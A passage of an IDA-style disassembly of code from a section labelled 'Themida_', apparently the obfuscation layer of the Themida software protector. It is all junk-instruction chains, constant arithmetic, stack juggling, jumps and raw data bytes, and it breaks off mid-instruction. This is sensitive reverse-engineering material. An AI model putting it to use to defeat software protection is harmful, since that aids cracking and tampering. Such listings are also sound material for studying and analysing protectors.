pop eax push esi jmp loc_5ADD40 ; --------------------------------------------------------------------------- loc_59F264: ; CODE XREF: Themida_:005A31FEj push eax mov eax, esp add eax, 4 push ecx jmp loc_5AD0E3 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4835F24h, 24048F04h, 24D4E9h, 971DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F286: ; CODE XREF: Themida_:005ACC0Aj shr eax, 5 shr eax, 2 xor eax, 618B4EECh jmp loc_59F0EE ; --------------------------------------------------------------------------- loc_59F296: ; CODE XREF: Themida_:005AA6F3j push 0D5Ah mov [esp], esi jmp loc_5A903E ; --------------------------------------------------------------------------- db 89h dd 23E92434h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F2AB: ; CODE XREF: Themida_:005A8EB2j pop ebp add ecx, 4 jmp loc_5ADE21 ; --------------------------------------------------------------------------- loc_59F2B4: ; CODE XREF: Themida_:005AE3BBj mov [esp], edx push ebx mov ebx, 265942E6h shl ebx, 5 push ebx inc dword ptr [esp] pop ebx shr ebx, 7 jz loc_5AC2B5 push esi mov esi, 0D6CCF76h add ebx, esi jmp loc_59BE7A ; --------------------------------------------------------------------------- loc_59F2DB: ; CODE XREF: Themida_:0059ACE3j mov ebp, esp add ebp, 4 push eax jmp loc_59C48D ; --------------------------------------------------------------------------- loc_59F2E9: ; CODE XREF: Themida_:0059CDD4j sub cl, 0EBh sub ah, cl pop ecx sub bl, 80h add bl, ah add bl, 80h pop eax add bl, al jmp loc_5AF660 ; --------------------------------------------------------------------------- loc_59F2FF: ; CODE XREF: Themida_:loc_59B00Bj ; Themida_:005A6AC9j sub eax, 0C85A3Bh jz loc_5AC8C5 shr eax, 4 jmp loc_59ED58 ; --------------------------------------------------------------------------- loc_59F312: ; CODE XREF: Themida_:005A528Fj mov ebp, 62470EB6h inc ebp or ebp, 7F325EABh neg ebp neg ebp xor ebp, 73C45B78h sub edi, ebp jmp loc_5A790B ; --------------------------------------------------------------------------- loc_59F32F: ; CODE XREF: Themida_:005A2044j ; Themida_:005ACCE1j mov esp, [esp] shr eax, 0Eh jmp loc_5A9686 ; --------------------------------------------------------------------------- dw 0D168h dd 89000001h, 7A68241Ch, 0E900002Bh, 3EAAh, 0DD0C19BFh dd 0FFF80978h, 835F2434h, 0BF5704C4h, 8A00AF7h, 515FF821h dd 7FF74FB9h, 0F254E9F7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F36E: ; CODE XREF: Themida_:005AC63Cj pop eax mov edi, edx pop edx push edx jmp loc_5A5279 ; --------------------------------------------------------------------------- dd 57240C89h, 0B951E789h, 51DA6929h, 19E1C181h, 0E1C17D0Bh dd 76C98107h, 0D13B2F38h, 0E9D9F7E9h, 2D14h, 48E36855h dd 34FF5802h, 0C4835D24h, 24448104h, 0A360DF08h, 246C291Eh dd 0EB53E908h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F3BA: ; CODE XREF: Themida_:0059C67Fj pop edi xchg ebx, [esp] pop esp sub [esp], ax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59F3C9: ; CODE XREF: Themida_:005A0215j mov ch, 2Ah jmp loc_5A0B3D ; --------------------------------------------------------------------------- loc_59F3D0: ; CODE XREF: Themida_:0059D32Cj pop eax add edx, ebp add edx, 62937519h mov ebp, [esp] add esp, 4 push eax mov eax, 4 sub edx, eax pop eax xor edx, [esp] jmp loc_59B2A8 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24148900h, 5A2414F7h, 0E904EC83h, 0FFFFDACBh ; --------------------------------------------------------------------------- loc_59F408: ; CODE XREF: Themida_:005AFB0Aj pop edi add eax, ecx jmp loc_59CA87 ; --------------------------------------------------------------------------- loc_59F410: ; CODE XREF: Themida_:005A10F7j add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5AB197 ; --------------------------------------------------------------------------- loc_59F424: ; CODE XREF: Themida_:005A8E52j jmp loc_5AEBDE ; --------------------------------------------------------------------------- loc_59F429: ; CODE XREF: Themida_:005AA064j xchg edi, [esp] mov esp, [esp] add bl, 12h sub esp, 4 mov [esp], eax mov ah, 7Bh sub ah, 0FBh inc ah push bx push ecx mov ch, 0FDh jmp loc_5A3444 ; --------------------------------------------------------------------------- loc_59F44C: ; CODE XREF: Themida_:005A2F87j ; Themida_:005AE293j jmp loc_5AF588 ; --------------------------------------------------------------------------- loc_59F451: ; CODE XREF: Themida_:005A2A5Cj inc ecx xor ecx, 93A7A99Eh mov ebp, ecx pop ecx add ebx, ebp pop ebp pop edx push ebp push edi mov edi, 4 push edi pop ebp pop edi add ebx, ebp mov ebp, [esp] add esp, 4 jmp loc_59953B ; --------------------------------------------------------------------------- loc_59F479: ; CODE XREF: Themida_:0059CCA8j push ebp pop ebx jmp loc_5A5AE5 ; --------------------------------------------------------------------------- loc_59F480: ; CODE XREF: Themida_:005A4CE1j ; Themida_:005AB1F3j mov [esp], edx push ecx mov ch, 0Eh sub esp, 4 mov [esp], eax jmp loc_5AC12C ; --------------------------------------------------------------------------- loc_59F491: ; CODE XREF: Themida_:005AD8ADj add edx, 8B327Ch add [edx], ecx pop edx jmp loc_5A40FA ; --------------------------------------------------------------------------- loc_59F49F: ; CODE XREF: Themida_:005AA11Ej shl ebx, 4 xor ebx, 64480044h mov ebp, ebx pop ebx add dword ptr [esp+4], 579D1D34h push edx mov edx, 516C5600h sub [esp+8], edx jmp loc_5A79E2 ; --------------------------------------------------------------------------- loc_59F4C2: ; CODE XREF: Themida_:0059B984j mov ecx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] idiv cx push small 419Eh mov [esp], dx push ax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59F4E4: ; CODE XREF: Themida_:005A9F0Dj push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub edi, 3B6075A7h add edi, esi add edi, 3B6075A7h pop esi push eax jmp loc_5A982A ; --------------------------------------------------------------------------- loc_59F509: ; CODE XREF: Themida_:005A34B8j pop dword ptr [esp] pop esp sub esp, 2 mov [esp], cx mov cl, 7Eh jmp loc_59F7ED ; --------------------------------------------------------------------------- byte_59F51B db 0ACh ; DATA XREF: Themida_:00598780o dd 81E38953h, 4C3h, 4EB8300h, 19B9E9h db 0 ; --------------------------------------------------------------------------- loc_59F52D: ; CODE XREF: Themida_:00599333j mov al, bh mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push edx mov dl, al mov bh, dl pop edx mov dl, bh jmp loc_5A6DFF ; --------------------------------------------------------------------------- db 5Bh dd 4EC81h, 4890000h, 4B824h, 0B8500000h, 49B36512h, 8158C329h dd 0CE6006C3h, 7243E930h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59F56E: ; CODE XREF: Themida_:00598CA4j push ebx mov ebx, 3D813C4Ah add edx, ebx pop ebx sub edx, 67E60059h jmp loc_598E45 ; --------------------------------------------------------------------------- word_59F582 dw 8B66h ; DATA XREF: Themida_:005986E4o dd 0E9502404h, 3277h, 0E9243C89h, 8993h ; --------------------------------------------------------------------------- loc_59F594: ; CODE XREF: Themida_:005A20ABj add esp, 4 or ecx, 3DE71044h sub ecx, 0FFFFFFFFh add ecx, 0AE4A4ED5h or ebp, ecx jmp loc_5AA6CB ; --------------------------------------------------------------------------- loc_59F5B3: ; CODE XREF: Themida_:005A0DABj mov ch, 1Ah jmp loc_5A0DC1 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 56241489h, 41066855h, 815D106Ch, 0A22100F5h, 0E9EE8920h dd 8B14h ; --------------------------------------------------------------------------- loc_59F5D8: ; CODE XREF: Themida_:005A8E75j add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov eax, [esp] push ebp push esp jmp loc_59D8F4 ; --------------------------------------------------------------------------- loc_59F5FD: ; CODE XREF: Themida_:005A8979j xchg edx, [esp] pop esp sub dword ptr [esp], 136F2CB3h jmp loc_5A8D1C ; --------------------------------------------------------------------------- loc_59F60D: ; CODE XREF: Themida_:005AAB64j mov [esp], ecx sub esp, 4 mov [esp], edx push ebx mov bh, al mov dl, bh pop ebx sub esp, 4 mov [esp], ebx push eax mov ah, dl jmp loc_599FF8 ; --------------------------------------------------------------------------- loc_59F62D: ; CODE XREF: Themida_:005AF549j push 6802h mov [esp], edx jmp loc_59ADC0 ; --------------------------------------------------------------------------- dw 50B9h dd 81037676h, 5046FC9h, 81D9F76Ah, 58B624F1h, 4C24E9ACh dd 54500000h, 14126858h, 14890000h, 68515324h, 0BB636F9h dd 83240C8Bh, 0C18104C4h, 18BF2BE5h, 0ADAD8D0Fh, 0C981FFFFh dd 21BA3513h, 3FB5890Fh, 0EB8B0000h db 5Dh ; --------------------------------------------------------------------------- loc_59F685: ; CODE XREF: Themida_:loc_5A77C4j sub esp, 4 mov [esp], eax push edx push 95C7640h jmp loc_5ABD9E ; --------------------------------------------------------------------------- db 1, 0D6h, 0E9h dd 0FFFFCCEBh ; --------------------------------------------------------------------------- loc_59F6A0: ; CODE XREF: Themida_:0059BE91j mov edx, esp add edx, 4 jmp loc_59AD28 ; --------------------------------------------------------------------------- loc_59F6AD: ; CODE XREF: Themida_:005A93BBj push 4576h mov [esp], edx mov edx, 14AC43B5h push esi mov esi, 2E41130h jmp loc_59E440 ; --------------------------------------------------------------------------- db 81h, 0F7h, 0E0h dd 81075B1Eh, 144B3F7h, 0E9F8291Fh, 0FFFFDC00h ; --------------------------------------------------------------------------- loc_59F6D8: ; CODE XREF: Themida_:005AE492j xchg eax, [esp] pop esp mov [esp], edi mov edi, 2F060859h inc edi xor edi, 79987BF1h push ebx jmp loc_5A4B9C ; --------------------------------------------------------------------------- loc_59F6F1: ; CODE XREF: Themida_:0059AB7Fj pop esi mov ebx, [esp] jmp loc_5ADA98 ; --------------------------------------------------------------------------- loc_59F6FA: ; CODE XREF: Themida_:0059D3CBj push edx push ecx sub esp, 4 mov [esp], ebx mov bh, 0EDh jmp loc_5AA38D ; --------------------------------------------------------------------------- loc_59F709: ; CODE XREF: Themida_:0059BC80j add ebp, edi sub ebp, 4E451A3Dh push dword ptr [esp] push dword ptr [esp] pop edi push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push edx jmp loc_5A1257 ; --------------------------------------------------------------------------- aXvus db 'XVUИб╨',0 dd 24148B00h, 8104C483h, 0C107C9C2h, 0DDBFE92Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_59F74A: ; CODE XREF: Themida_:005AE2B1j xor [esp], ebp xor ebp, [esp] pop esp jmp loc_5A670C ; --------------------------------------------------------------------------- loc_59F756: ; CODE XREF: Themida_:005A5E46j xor eax, 7C158AEh jnb loc_5994C9 neg eax sub eax, 11F7667Ch jmp loc_59BB5C ; --------------------------------------------------------------------------- db 66h, 58h, 81h dd 0F8666CC7h, 0CA33E935h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59F77A: ; CODE XREF: Themida_:0059F85Ej add bh, 51h mov ch, bh mov ebx, [esp] add esp, 4 mov dl, ch mov ecx, [esp] add esp, 4 jmp loc_5AF399 ; --------------------------------------------------------------------------- loc_59F798: ; CODE XREF: Themida_:0059A717j add ebx, edx mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], edi mov edi, 7741028Ah sub edi, 1 neg edi xor edi, 0D744C4Eh jmp loc_59CEEB ; --------------------------------------------------------------------------- loc_59F7BE: ; CODE XREF: Themida_:005ACC8Ej add al, dl jmp loc_5A6483 ; --------------------------------------------------------------------------- loc_59F7C5: ; CODE XREF: Themida_:005A5203j add esp, 4 add ecx, 4 jmp loc_5AB384 ; --------------------------------------------------------------------------- loc_59F7D3: ; CODE XREF: Themida_:0059A129j push ebp push ebx mov ebx, 22A52BF9h sub [esp+4], ebx pop ebx mov eax, [esp] add esp, 4 jmp loc_5AB7CF ; --------------------------------------------------------------------------- loc_59F7ED: ; CODE XREF: Themida_:0059F516j push ebx mov bh, 93h sub bh, 19h sub al, bh mov ebx, [esp] add esp, 4 sub al, cl push ecx mov ch, 29h sub ch, 0AFh push ebx mov bh, 93h add al, bh pop ebx add al, 0E9h jmp loc_59EB34 ; --------------------------------------------------------------------------- loc_59F813: ; CODE XREF: Themida_:0059C27Dj shr ecx, 2 jmp loc_5A2737 ; --------------------------------------------------------------------------- loc_59F81B: ; CODE XREF: Themida_:005A0C2Dj sub eax, ebp sub eax, 3F9F5F1Ah pop ebp jmp loc_5A9921 ; --------------------------------------------------------------------------- loc_59F828: ; CODE XREF: Themida_:005AB8DFj pop ebx not ebx push eax mov eax, 0FAE23FAh jmp loc_59D437 ; --------------------------------------------------------------------------- loc_59F836: ; CODE XREF: Themida_:005A823Ej add eax, ecx push ebp mov ebp, 2F511DC0h xor ebp, 5011523Dh jmp loc_5ADE02 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 0E9000000h, 378Eh ; --------------------------------------------------------------------------- loc_59F854: ; CODE XREF: Themida_:loc_59DBA5j not ebp jmp loc_59AF1E ; --------------------------------------------------------------------------- loc_59F85B: ; CODE XREF: Themida_:005AA395j sub bh, 91h jp loc_59F77A add bh, 51h mov ch, bh mov ebx, [esp] or bl, 0D2h pop eax inc eax jmp loc_59C854 ; --------------------------------------------------------------------------- dw 0C181h dd 4, 4E981h, 0C870000h, 0E6B9E924h, 0EBC1FFFFh, 0A5880F07h dd 81000015h, 4CCDFBF3h, 95E9E90Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F89E: ; CODE XREF: Themida_:005A6BF5j sub bl, dl pop edx jmp loc_5A29ED ; --------------------------------------------------------------------------- loc_59F8A6: ; CODE XREF: Themida_:005A1C73j mov [esp], esp push esi mov esi, 4 add [esp+4], esi jmp loc_5A9763 ; --------------------------------------------------------------------------- loc_59F8B8: ; CODE XREF: Themida_:005ABE33j mov bl, 1Eh mov al, 0CEh sub al, bl pop ebx inc al neg al sub al, 0F5h push edx mov dl, 5Ah xor al, dl pop edx jmp loc_5A6BE1 ; --------------------------------------------------------------------------- loc_59F8D0: ; CODE XREF: Themida_:0059D5DBj mov esi, 0D60747h sub esi, 0FA37ED4Eh add edi, 6AAC3485h sub edi, esi jmp loc_5A1DC0 ; --------------------------------------------------------------------------- loc_59F8E8: ; CODE XREF: Themida_:005AF96Dj xor di, 656Eh jmp loc_5A944F ; --------------------------------------------------------------------------- loc_59F8F2: ; CODE XREF: Themida_:005A8BA4j push dword ptr [edi+eax*4] jmp loc_5ADDEB ; --------------------------------------------------------------------------- dw 0E94Ah dd 0F82Dh ; --------------------------------------------------------------------------- loc_59F900: ; CODE XREF: Themida_:005A5C46j mov edx, 4 add [esp+4], edx pop edx push dword ptr [esp] mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_5AA61B ; --------------------------------------------------------------------------- dw 8B0Fh dd 0D844h, 1669ED81h, 0C581A10Bh, 0A7C2976Dh, 5750C381h dd 0EC815335h, 4, 52242C89h, 425DF5BAh, 818E935h, 6C010000h dd 2C8B0424h, 4C48124h, 0E9000000h, 0FFFFC3A2h ; --------------------------------------------------------------------------- loc_59F95C: ; CODE XREF: Themida_:005A5D7Aj push edi mov edi, 1B8709A1h mov ebx, edi jmp loc_59B618 ; --------------------------------------------------------------------------- loc_59F969: ; CODE XREF: Themida_:005A70CFj not al jmp loc_5A08D2 ; --------------------------------------------------------------------------- loc_59F970: ; CODE XREF: Themida_:005A1189j ; Themida_:005A517Bj push edi push eax mov eax, 64C5446Dh add eax, 7C245BD3h jnb loc_5A5E44 neg eax ja loc_5AD51A xor eax, 7C158AEh pop ebp loc_59F990: ; CODE XREF: Themida_:005ADF7Cj mov edi, 78C26A6Bh sub ebp, edi pop edi add ebp, 0E2444E38h add edx, ebp pop ebp xor edx, [esp] xor [esp], edx jmp loc_5A93B7 ; --------------------------------------------------------------------------- dd 7E2C15Bh, 0BD55EAD1h, 184F4666h, 49FDE581h, 25E93355h db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F9C3: ; CODE XREF: Themida_:005A064Bj sub dh, bh mov ebx, [esp] add esp, 4 push eax jmp loc_5AFAB0 ; --------------------------------------------------------------------------- loc_59F9D4: ; CODE XREF: Themida_:005AA66Cj mov [esp], ebx push esp mov ebx, [esp] jmp loc_5A8915 ; --------------------------------------------------------------------------- dd 0C181E189h, 4, 4C181h, 0C870000h, 0C2835C24h, 24148704h dd 4EC835Ch, 54243489h, 0E924348Bh, 0C904h ; --------------------------------------------------------------------------- loc_59FA08: ; CODE XREF: Themida_:0059B893j add ebx, eax sub ebx, 192804C4h pop eax jmp loc_5A201D ; --------------------------------------------------------------------------- loc_59FA16: ; CODE XREF: Themida_:0059A4E2j xor ebx, 73DA5DECh jmp loc_5A95BB ; --------------------------------------------------------------------------- aWhS db 'WhжS',0 dw 8900h dd 50562404h, 67BCD68h, 53E95867h, 8100000Ch, 222172EEh dd 2BC68162h, 10B1041h, 0A0DCE9C6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59FA4A: ; CODE XREF: Themida_:0059F1CCj jmp loc_5A70C7 ; --------------------------------------------------------------------------- loc_59FA4F: ; CODE XREF: Themida_:0059E243j push dword ptr [esp] pop ebp push ebx mov ebx, esp push ebp mov ebp, 4 add ebx, ebp pop ebp push eax mov eax, 56EF6773h jmp loc_5A917F ; --------------------------------------------------------------------------- loc_59FA6A: ; CODE XREF: Themida_:005A94F8j add ebx, 354166h jnp loc_5AD014 push 39FEh mov [esp], edi jmp loc_5A44D7 ; --------------------------------------------------------------------------- loc_59FA83: ; CODE XREF: Themida_:005ADAB1j push ecx mov ecx, 0F7EFF803h jmp loc_5AC2A3 ; --------------------------------------------------------------------------- loc_59FA8E: ; CODE XREF: Themida_:0059B9C6j mov [esp], esi push ecx mov ecx, edi jmp loc_5A22A4 ; --------------------------------------------------------------------------- loc_59FA99: ; CODE XREF: Themida_:0059C494j mov eax, [esp] jmp loc_5A7200 ; --------------------------------------------------------------------------- loc_59FAA1: ; CODE XREF: Themida_:005ABF2Bj pop dword ptr [eax] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59FAA8: ; CODE XREF: Themida_:005A6E62j not edi push ebx mov ebx, 0DF82B06h or edi, ebx jmp loc_5A4A1C ; --------------------------------------------------------------------------- loc_59FAB7: ; CODE XREF: Themida_:0059EAB5j mov ecx, esp add ecx, 4 sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], eax xor dword ptr [esp], 6B9430C3h mov ecx, [esp] add esp, 4 push edx sub esp, 4 mov [esp], eax push 36AB0134h jmp loc_59A99B ; --------------------------------------------------------------------------- loc_59FAF3: ; CODE XREF: Themida_:005A7DF6j pop eax sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], edx push esp pop edx push eax push esp jmp loc_5A3D52 ; --------------------------------------------------------------------------- loc_59FB0C: ; CODE XREF: Themida_:005A86E5j sub ebx, 3BA31BD9h sub esp, 4 mov [esp], esi mov esi, 20CE1540h xor esi, 7EC3578Dh jmp loc_5AC417 ; --------------------------------------------------------------------------- loc_59FB28: ; CODE XREF: Themida_:loc_59E614j sub eax, 0D9C350C9h mov ebx, eax jmp loc_5A233A ; --------------------------------------------------------------------------- loc_59FB34: ; CODE XREF: Themida_:0059BF29j mov ebp, edx pop edx add edx, ebp pop ebp or edx, 7424A45h jmp loc_5ADE29 ; --------------------------------------------------------------------------- loc_59FB45: ; CODE XREF: Themida_:005A76C6j shr ecx, 7 push 0CBCh mov [esp], ecx push ebx pop ecx jmp loc_5A090D ; --------------------------------------------------------------------------- loc_59FB57: ; CODE XREF: Themida_:005ABEEFj mov edi, eax pop eax jmp loc_5AC3D1 ; --------------------------------------------------------------------------- loc_59FB5F: ; CODE XREF: Themida_:005A5D62j shr ebx, 2 add ebx, 38666E13h add ebx, 0FFFFFFFFh add ebx, 0D470EDDh xor ebx, 18672E97h sub ecx, ebx pop ebx sub ecx, ebp push ebp mov ebp, 5E30229Dh add ecx, ebp pop ebp mov ebp, [esp] add esp, 4 pop eax jmp loc_5AAC43 ; --------------------------------------------------------------------------- dd 0E958C701h, 2C53h ; --------------------------------------------------------------------------- loc_59FB9C: ; CODE XREF: Themida_:005AE1D1j xor edi, 317E573Fh jmp loc_59B1A3 ; --------------------------------------------------------------------------- loc_59FBA7: ; CODE XREF: Themida_:005A641Aj push edx mov edx, 4 mov eax, edx pop edx sub esp, 4 mov [esp], ebx mov ebx, eax mov edx, ebx pop ebx push dword ptr [esp] pop eax push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push ecx mov ecx, 18042BFAh add eax, ecx pop ecx add eax, 75DA75EFh add eax, edx sub eax, 75DA75EFh sub eax, 18042BFAh pop edx jmp loc_59B738 ; --------------------------------------------------------------------------- loc_59FBF3: ; CODE XREF: Themida_:0059BE9Fj pop dword ptr [esp] jmp loc_5A2A06 ; --------------------------------------------------------------------------- loc_59FBFB: ; CODE XREF: Themida_:005AD359j dec ebp jl loc_59B56F neg ebp push ebx jmp loc_5ABC4F ; --------------------------------------------------------------------------- loc_59FC0A: ; CODE XREF: Themida_:005A01A6j push dword ptr [esp] pop edi add esp, 4 push esi push dword ptr [esp+4] jmp loc_5A6966 ; --------------------------------------------------------------------------- loc_59FC1E: ; CODE XREF: Themida_:005ACD27j xchg ebp, [esp] pop esp mov [esp], ebp jmp loc_5A2D65 ; --------------------------------------------------------------------------- loc_59FC2A: ; CODE XREF: Themida_:005AD6F3j js loc_5AA7C8 push edx push ecx mov ch, 51h neg ch xor ch, 0CBh mov ch, 93h xor al, 8Ch pop ebx jmp loc_5AF355 ; --------------------------------------------------------------------------- loc_59FC43: ; CODE XREF: Themida_:0059A910j push edx mov edx, 0BF11FCEh jmp loc_59A830 ; --------------------------------------------------------------------------- loc_59FC4E: ; CODE XREF: Themida_:005AF346j push edx mov edx, 4 add edi, edx mov edx, [esp] jmp loc_59E6C9 ; --------------------------------------------------------------------------- loc_59FC5E: ; CODE XREF: Themida_:0059C9F5j sub ecx, 45673DD3h jmp loc_59ADCF ; --------------------------------------------------------------------------- loc_59FC69: ; CODE XREF: Themida_:0059E39Bj xchg ebx, [esp] pop esp mov [esp], ebx mov ebx, esp push edx mov edx, 4 jmp loc_5A387E ; --------------------------------------------------------------------------- loc_59FC7D: ; CODE XREF: Themida_:005A1A67j add eax, edi push dword ptr [esp] pop edi push eax mov eax, esp jmp loc_5AA3D4 ; --------------------------------------------------------------------------- loc_59FC8B: ; CODE XREF: Themida_:005AA2A9j push 55Bh mov [esp], esi mov esi, 5BBD6774h shl esi, 6 push 5746h jmp loc_5A4A2F ; --------------------------------------------------------------------------- loc_59FCA5: ; CODE XREF: Themida_:0059A2DCj sub ebx, edi pop edi mov edx, ebx jmp loc_5995B4 ; --------------------------------------------------------------------------- dd offset byte_5F81E9 align 4 loc_59FCB4: ; CODE XREF: Themida_:0059B990j mov edi, [esp] add esp, 4 add ebx, 4 jmp loc_5A6DE0 ; --------------------------------------------------------------------------- loc_59FCC8: ; CODE XREF: Themida_:005A7F1Dj push eax mov eax, 34D34310h not eax jmp loc_5A09AE ; --------------------------------------------------------------------------- loc_59FCD5: ; CODE XREF: Themida_:005A966Bj jmp loc_5A1AF2 ; --------------------------------------------------------------------------- dw 0C87h aSs db '$\Иsб',0 db 0 ; --------------------------------------------------------------------------- loc_59FCE3: ; CODE XREF: Themida_:005ABDD7j mov dl, cl jmp loc_5A14E5 ; --------------------------------------------------------------------------- loc_59FCEA: ; CODE XREF: Themida_:005A638Ej push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_59B4DD ; --------------------------------------------------------------------------- loc_59FCFE: ; CODE XREF: Themida_:0059B650j push dx mov dh, 6Ah add bl, dh pop dx add bl, 49h sub bl, 32h add bl, al add bl, 32h jmp loc_5A5F6F ; --------------------------------------------------------------------------- loc_59FD16: ; CODE XREF: Themida_:005AFE17j sub bl, 0F0h movzx eax, al push dword ptr [edi+eax*4] push eax mov eax, 3E2A0166h jmp loc_5A9A5D ; --------------------------------------------------------------------------- loc_59FD2A: ; CODE XREF: Themida_:005A25BAj sub edx, 36775A5h jmp loc_59AD67 ; --------------------------------------------------------------------------- loc_59FD35: ; CODE XREF: Themida_:005AAB44j sub esp, 4 mov [esp], ecx mov ecx, 386C46DDh push esi mov esi, 31FD62D9h add esi, 7D222F3Dh sub esi, 30874970h xor ecx, esi jmp loc_59B6B7 ; --------------------------------------------------------------------------- loc_59FD5C: ; CODE XREF: Themida_:005AEE56j pop eax push ebp push esi jmp loc_5A56FF ; --------------------------------------------------------------------------- loc_59FD64: ; CODE XREF: Themida_:0059CA0Ej mov cl, bl jmp loc_5A0D45 ; --------------------------------------------------------------------------- db 81h dd 4C3h, 241C8700h, 5624248Bh, 2304E9h, 24143100h, 30ADE9h dd 24348700h, 2404895Ch, 42474FFh, 0FFBF2FE9h db 0FFh ; --------------------------------------------------------------------------- loc_59FD95: ; CODE XREF: Themida_:005A001Dj mov edi, 5CF42394h add edi, 1 or edi, 5E34990h add edi, 9EE94C4h add edx, edi jmp loc_59AAB1 ; --------------------------------------------------------------------------- loc_59FDB0: ; CODE XREF: Themida_:005ACF2Fj mov [esp], ecx mov ecx, 20895F4Bh shl ecx, 4 jz loc_5A8A83 inc ecx jnp loc_5A43DB jmp loc_5A3DEE ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 aSsG db 'SИжё',0 align 2 loc_59FDD6: ; CODE XREF: Themida_:005AD9C8j ; Themida_:005AE7F2j push ebx jmp loc_5995C8 ; --------------------------------------------------------------------------- dd 3278BF57h, 0E7C13F37h, 0E52DE905h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59FDEA: ; CODE XREF: Themida_:005A244Aj add esp, 4 add edx, eax push esi jmp loc_5A401F ; --------------------------------------------------------------------------- db 4, 32h, 0E9h dd 418h, 199CF781h, 814F434Fh, 4ECh, 0FDCEE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59FE0E: ; CODE XREF: Themida_:0059EACDj jz loc_5A98C0 jmp loc_59963A ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 5624248Bh, 7318A1BEh, 24740102h, 2C815E04h, 3054EC24h dd 24040166h, 54ECBA52h, 6C816630h, 3D860424h, 6C8141B0h dd 788F0424h, 0FBE9508Ch, 810000ADh, 0E9773AE7h, 0B98FE963h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59FE5A: ; CODE XREF: Themida_:005ABE49j push esi push edx mov edx, 3E3F3D69h push 0DE4390Ah jmp loc_59D621 ; --------------------------------------------------------------------------- db 81h dd 8BBB6FE9h, 59CE0133h, 3499C381h, 0F32900BDh, 3499BE56h dd 0F32900BDh, 0EE72E9h db 0 ; --------------------------------------------------------------------------- loc_59FE89: ; CODE XREF: Themida_:005AF605j push edi jmp loc_5A7EDE ; --------------------------------------------------------------------------- loc_59FE8F: ; CODE XREF: Themida_:005A1E7Bj add bl, al add bl, 9Ah push edx jmp loc_59DCE5 ; --------------------------------------------------------------------------- loc_59FE9A: ; CODE XREF: Themida_:005AE72Fj sub edi, 81816B1h jz loc_59ED73 jmp loc_5A5A4A ; --------------------------------------------------------------------------- loc_59FEAB: ; CODE XREF: Themida_:005A7E42j sub esi, 44645DE3h add ebp, esi pop esi push ebp jmp loc_59AEDA ; --------------------------------------------------------------------------- loc_59FEBA: ; CODE XREF: Themida_:005A92E7j and eax, ebp push dword ptr [esp] pop ebp push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_59E54E ; --------------------------------------------------------------------------- loc_59FED4: ; CODE XREF: Themida_:005AEA89j add eax, 0DB8E193Dh mov esi, eax mov eax, [esp] jmp loc_5A4E43 ; --------------------------------------------------------------------------- loc_59FEE3: ; CODE XREF: Themida_:005A1A57j mov ebx, 79291305h add ebx, 60DE070Eh jo loc_5AC1D4 shr ebx, 5 jns loc_5A520B mov cl, ah pop ecx pop edx jmp loc_5A46A1 ; --------------------------------------------------------------------------- loc_59FF06: ; CODE XREF: Themida_:0059BBD8j pop ecx add edi, 4 push edi push dword ptr [esp+4] push dword ptr [esp] jmp loc_5A6027 ; --------------------------------------------------------------------------- loc_59FF17: ; CODE XREF: Themida_:0059CD53j ; Themida_:005A350Dj and edx, 119E71E5h jmp loc_5A0FDB ; --------------------------------------------------------------------------- dw 0C781h dd 4, 4C781h, 3C870000h, 38FAE924h, 5B5F0000h, 336E5A2Dh dd 5F80102h, 2336E5Ah, 0E92434FFh, 0FFFFE896h ; --------------------------------------------------------------------------- loc_59FF4C: ; CODE XREF: Themida_:0059FFE1j push eax push 314321A3h jmp loc_599119 ; --------------------------------------------------------------------------- db 0FFh dd 835D2434h, 0C58104C4h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_5AF898 ; --------------------------------------------------------------------------- loc_59FF72: ; CODE XREF: Themida_:005ADAE0j pop edx sub esp, 4 mov [esp], edx mov dh, 0CEh neg dh add dh, 33h jmp loc_599DEF ; --------------------------------------------------------------------------- loc_59FF88: ; CODE XREF: Themida_:005A32D4j pop ebx mov eax, [esp] add esp, 4 and eax, ebx jmp loc_5ACEAB ; --------------------------------------------------------------------------- loc_59FF99: ; CODE XREF: Themida_:005A0DD4j mov [esp], edx jmp loc_5A5CC2 ; --------------------------------------------------------------------------- db 81h, 0F5h, 7Eh dd 0E9602576h, 0FFFFF167h ; --------------------------------------------------------------------------- loc_59FFAC: ; CODE XREF: Themida_:0059CC51j push esi jmp loc_5A0225 ; --------------------------------------------------------------------------- loc_59FFB2: ; CODE XREF: Themida_:005AEC0Fj xchg ebp, [esp] mov esp, [esp] mov 